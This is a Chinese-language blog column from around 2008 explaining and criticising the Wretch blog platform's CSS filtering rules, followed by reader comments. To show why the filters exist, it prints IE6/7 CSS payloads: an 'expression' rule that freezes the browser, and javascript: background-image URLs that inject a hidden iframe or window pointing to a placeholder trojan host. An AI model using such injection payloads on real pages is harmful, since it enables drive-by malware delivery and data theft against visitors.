(專欄)無名版面設計 - css規則限制的迷思(一)

利益燻心


我思考了一段時間,寫給無名用戶的一些想法與建議,一直沒有一個定位,因為無名用戶的年齡層比較廣泛,或者更貼切的說,無名的使用者包括了老、中、青三代,所以我的思考方向是,如何寫一篇給「老、中、青三代」的使用者閱讀,又有意願吸收的文章。





無名小站到目前為止所出現的種種問題,不僅在於使用者本身,其所導致這些問題存在的關鍵,還是在於無名小站提供的服務政策,與相關的條約限制有關。





其實綜觀這幾年來的無名小站,所得到的評價遠不如被收購之前的無名,甚至可以說,對於使用者而言,這是一項側底失敗收購政策,因為台灣YAHOO看好無名小站的佔有市場,說的露骨一點,就是想併吞無名小站的市場,這樣才可以為自己帶來更大的商業市場與商機。





於是我們可以從這個思考方向出發,或許就不難明白為何無名會有CSS的限制條例,仔細想想,yahoo的信箱充斥著瀰漫的廣告信件不是沒有原因的。





CSS引發可笑的「安全性問題」


當然了,無名表示修改或引用來路不明的CSS規則會產生所謂的「安全性問題」,此問題看來可笑,但卻有其根據的,這就是我今天打這篇文章的目的,因為有太多的無名用戶無法接受CSS也會有安全性的可笑問題,當然,不可否認的,這些限制條例不排除廣告置入性行銷的可能性,但CSS所引發的安全性問題絕不是空穴來風,這是其來有自的,您對於無名所提出的使用條例無法接受乃人之常情,因為這是百分之九十用戶的心聲,甚至包括筆者也無法接受無名對於CSS會有這麼多限制,不過我們更應該重視的是無名提及的「安全性問題」


今天我就帶大夥一起來瞭解這些事情的淵源。





CSS安全性問題來自私有屬性與IE解讀上的漏洞





過去幾年來,IE Only(僅ie支援)的網站在萬維網上橫行無阻,不論是私有屬性、濾鏡,或者是根據漏洞而鑽研的規則對於IE6都造成極大的危險性與不穩定性,這一切都拜比爾蓋茲所賜,他是W3C的成員之一,自己不遵守這些網路標準規範,卻玩起自己的標準來了,先不說IE6如何遵循當時的網路標準規範,單是私有屬性與解讀規則上的漏洞就令人不敢苟同了,微軟稱:「這是為了給WEB開發者帶來更大更自由的天馬行空創作」。此後的幾年,陸續問世的所見即所得網頁設計軟體也把這個概念放到軟體中,因為更可笑的,軟體開發市場看準了WEB的發展趨勢,因為WEB設計師們喜歡這些美妙的東西。





微軟想不到這些自家的標準概念,卻是往後幾年造成自家瀏覽器的市場佔有率下滑的主因,因為近幾年來,Mozilla Firefox迅速竄紅,致使其他家瀏覽器廠商陸續加入市場爭奪戰,紛紛推出自家的新版瀏覽器,而且響應了遵循網路標準規範(W3C)的趨勢,這讓微軟不再高枕無憂,Internet Explorer 7也就在情急之下這麼誕生了,我常常強調:「Internet Explorer 7是被逼出來的」。


──唯有遵循網路標準規範,才能讓用戶得到真正天馬行空的創作





剛剛提到私有屬性、濾鏡,或者根據漏洞而鑽研的CSS規則,對IE6用戶本身造成極大的安全性問題,這也是IE6市場下滑的原因之一,相較之下,Firefox與Opera,甚至於Safari支援的CSS規則更完整,且更符合W3C提倡的WEB標準,在使用與自訂方面也比IE來的自由許多。





微軟早期開發的私有CSS規則與產生的漏洞,可以導致瀏覽器的視窗凍結、當掉、植入木馬,這些都是駭客入侵系統或竊取他人資料可以使用的管道。不要懷疑,我馬上示範一些簡單的例子給各位瞧瞧。





一、會耗盡CPU資源的獨特CSS規則





IE6除了是個不折不扣的BUG天王之外,我剛剛還說過,微軟喜歡搞自己的標準,那麼最具代表性的,不外乎類似下列這條規則:


a {blr:expression(this.onFocus=this.blur());}




屬於DHTML的「expression」,這可是Java Script範疇了。「expression」的工作狀況是,你每動一次游標,它都得計算N次,如果你頁面有很多類似這種「expression」的Java Script寫法,你想知道會有什麼後果嗎,您不妨點選測試一的示範網址體驗一下:





測試一示範網址:expression(請用IE6開啟)





「expression」雖然並不具有安全性問題,但它卻會榨乾你的cpu,另你的視窗處於凍結狀態。如果有人想惡搞你的ie瀏覽器,此方法再好不過了。





、植入木馬


要達到利用css植入木馬,首先得利用css其中的一條規則「background」背景屬性,IE6/7這兩個版本號在解讀這條屬性具有漏洞,下面是一個簡單的例子:





在「background-image」的屬性值裡面輸入一個Java Script的彈出窗口


body{ 

background-image:

url('javascript:alert("這是寫在css裡面的彈出窗口")');

}




測試二示範網址:CSS彈出窗口(請用IE6/7開啟)





也許你很納悶,無名限制項裡面限制的是「*」、「>」、「-」、「_」這些CSS符號,這跟上面的示範例子有什麼關聯?別忘記了,Java Script要能夠正常的被執行,當然也絕對少不了這些符號,你可以去問稍有經驗Java Script程式設計師,那麼換句話說,駭客如果想要寫一個更具破壞性的入侵代碼,勢必會動用到這些符號,例如下面這兩個例子:


body { 

background-image:

url('javascript:document.write("

<Iframe src=http://xxx.xxx/test.htm width=0 height=0>

</iframe>")')

}

http://xxx.xxx/test.htm 就是木馬網址


經由彈出一個框進行木馬植入動作


body { 

background-image:url('javascript:open

("http://xxx.xxx/test.htm")')

}

但這樣會被發現,於是有人發展成:


body { 

background-image:

url(javascript:open('http://xxx.xxx/test.htm',

'newwindow','height=0, width=0,

top=1000, left=0, toolbar=no,

menubar=no, scrollbars=no,

resizable=no,location=no, status=no'))

}

如何?!以上這些示範代碼可以讓IE6/7的用戶中毒,植入木馬,然後取得您的系統控制權、甚至竊取你的隱私權資料。





基於以上示範,目的是要讓各位瞭解無名限制css中會使用到的特殊符號的理由,基本上只要偵測出含有這些特定符號的規則,會把整條屬性規則給過濾掉。





但是這些限制方案存在一個很大的缺陷,就是基於各家瀏覽器的相容性技巧,往往得用到這些符號規則,例如「* html」、「html>body」、「html+body」。因為Firefox與IE7都認得「!important」,有的時候得使用一些更進階的技巧來設計版面,但是這些更進階的技巧,基本上全被過濾了,也因此在瀏覽無名部落格的時候,常常不是IE下出問題,就是Firefox下有問題,然而不可思議的是,在無名提供版面樣式給用戶的時候,明明測試有問題卻還同時標榜著:Firefox與IE相容的圖示。





至於「text-indent」與「margin」的負值使用限制,無名說:「若可為負數,有心人士將可把原本的無名頁面設定到螢幕以外不能顯示的部分,取而代之的用一個假無名登入頁面來騙取你的密碼,這時很有可能就會有人被盜密碼,或者是設定一個不斷跳出廣告的惡意程式,但無法找到關掉的地方。





我認為這不但是荒謬,而且是強詞奪理的說法,說穿了就是因為之前有人利用這個方法將無名的廣告給移到天涯海角去了,所以才做出這樣的限制,說的明白些,這只不過是在給自己找臺階下的自圓其說罷了。





想清楚了,絕大多數的無名用戶的訪客訪問量是少之又少,「哪個白痴有心人士會浪費這種美國時間在默默無名的小站上?」就算真的要騙也會找個「有名大站」吧。





還有,駭客真的會無聊到把無名用戶設計的版面移開,然後再設計一個一模一樣的頁面來騙取你?以為每個人都眼殘到看不出來就是了。





相信我,沒有一個駭客想如此的作賤自己。





當我在幫瀟灑改版面,甚至進行兼容的時候,發現這個也不能用,那個也不能用,覺得無名小站實在讓人深惡痛絕。




【本文在標準之旅同時發佈】


下一個章節將帶您深入瞭解無名的版面結構


  • 留言者: kidpipi0323
  • Email:
  • 網址:
  • 日期: 2008-10-10 11:40:33
那瀟灑哥,

和不搬家或用WordPress架一個真正屬於自己的BLOG呢?




  • 留言者: jakeandy
  • Email:
  • 網址: http://jakeandy.pixnet.net/blog
  • 日期: 2008-10-15 20:29:27
昨天又公佈一條 java禁止



我已經搬到痞客,雖沒有無名這麼機車

但是最近也是bug不停

一樣的遭經




  • 留言者: a0912357430
  • Email:
  • 網址:
  • 日期: 2009-04-24 15:46:06
你好利害喔 !!



版面用什麼設計的 !!



我是入門的無名玩者....

張貼留言

0 留言